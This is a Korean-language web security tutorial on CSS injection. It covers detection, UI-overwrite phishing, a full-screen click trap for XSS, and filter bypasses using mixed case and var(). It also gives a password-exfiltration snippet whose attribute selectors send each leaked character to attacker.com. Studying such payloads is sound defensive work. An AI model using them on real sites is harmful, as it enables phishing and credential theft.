CSS Injection

Introduction

CSS Injection은 공격자가 삽입한 값을 통해서 웹 페이지 내 로드된 CSS(스타일시트) 또는 Style 태그와 속성 등 페이지의 CSS를 통제하는 취약점입니다. 대표적으로 피싱에 활용될 수 있으며 다른 XSS나 CSRF 취약점이 쉽게 트리거될 수 있도록 사용자를 속이는데 사용됩니다.

Offensive techniques

Detect

Allowed HTML in Service

HTML 사용이 허용된 서비스의 경우 기본적으로 CSS Injection의 영향을 받습니다. 이 때 서비스에선 영향력을 줄이기 위해 position 등 허용된 영역 이외를 통제할 수 있는 CSS 규칙을 제한하고 있을 가능성이 높은데, 없다면 CSS Injection으로 서비스 페이지의 전체 영역을 컨트롤할 수 있기 떄문에 취약하고, 제한 로직이 있어도 이를 우회하여 CSS를 완벽하게 통제할 수 있습니다.

HTML Injection

XSS와 유사하지만 Javascript를 실행하지 못하는 경우 HTML Injection 으로 표현하곤 합니다. 이 때 style 태그 등이 사용 가능한 경우 CSS Injection으로 확장될 수 있습니다.

GET /search?query=<style>.hahwul{position:fixed}</style><b%20class=hahwul>hacked</b>

CSS received from User

사용자에게 꾸미는 기능을 제공하는 경우 Font의 크기 및 색상, 배경 이미지, 배경 색 등 CSS에 간접적으로 관여할 수 있는 기능들이 존재할 수 있습니다. 이 때 CSS 구문을 이용하여 개발자가 예측하지 못한 CSS 선언하는 형태로 Injection 할 수 있습니다.

Original

POST /update_skin

backgroundColor=#000

Injection

POST /update_skin

backgroundColor=#000%3B%20position:%20fixed%3B

Response

.userSkin {
	background-color: #000; position: fixed;
}

Exploitation

CSS Injection을 통한 목적과 방법은 간단합니다. 사용자가 속기 쉬운 페이지를 만들어 피싱하거나 유저 인터렉션이 필요한 XSS, CSRF 등의 인터렉션을 쉽게 처리할 수 있도록 꾸밀 수 있습니다.

Overwirte UI

대표적으로 서비스에서 제공하는 기능에 대한 버튼을 Overwrite 하는 방법이 있습니다. 이는 position: fixed와 이를 꾸며주는 CSS를 기반을 통해 로그인, 서비스 페이지 등의 버튼을 공격자가 의도한 Element로 덮어서 사용자가 쉽게 피싱 등에 당할 수 있도록 구성이 가능합니다.

Reduce of Interaction

CSS Injection으로 Interaction이 필요한 다른 취약점의 난이도를 월등히 낮출 수 있습니다. 만약 특정 이미지를 클릭해야 동작하는 XSS가 있다고 한다면 아래와 같이 CSS를 덮어써서 화면 전 영역에 노출시켜 사용자가 쉽게 클릭할 수 있도록 유도가 가능합니다.

<style>
	.tt {
		position: fixed;
		top: 0;
		left: 0;
		width: 100%;
		height: 100%;
	}
</style>
<img src="x" name="tt" onclick="tooltip('input');attack()//')">

Sequential Import Chaining

Sequential Import Chaining은 d0nutptr이 제시한 공격 기법으로 CSS Injection이나 RPO(Relative Path Overwrite) 시 영향을 올리기 위한 Exploit 방법 중 하나입니다. 이를 통해서 페이지에 노출되는 중요정보를 CSS를 통해 공격자의 서버로 탈취할 수 있습니다.

input[name=password][value^=a]{
    background: url('https://attacker.com/a');
}
input[name=password][value^=b]{
    background: url('https://attacker.com/b');
}
/* ... */
input[name=password][value^=9]{
    background: url('https://attacker.com/9');   
}

자세한 내용은 “Sequential Import Chaining을 이용한 CSS 기반 데이터 탈취” 글을 참고해주세요.

Bypass protection

Upper case

CSS 속성은 대소문자를 구별하지 않습니다. 이를 이용하여 대소문자를 섞어 단순 문자열 검증을 우회할 수 있습니다.

pOSiTiOn: fixed;
pOSiTiOn: FiXeD;

With var()

CSS에서도 변수를 선언하고 값을 읽어 사용할 수 있습니다. 이를 통해 position: fixed 란 문자열 형태로 검증하는 경우 우회가 가능합니다.

.main {
	--hahwul: fixed;
	position: var(--hahwul);
	top: 0;
	left: 0;
}

Defensive techniques

가급적 사용자에게 CSS 통제권을 주지 않는 것이 좋습니다. 만약 서비스 특성 상 CSS를 통제할 수 있도록 제공되어야 한다면 position: fixed와 같이 전체 페이지 영역을 컨트롤 할 수 없도록 제한해야 합니다.

  • style 태그와 style 속성
  • 페이지에 로드된 CSS에서 position 등이 적용된 selector

Tools

Articles

References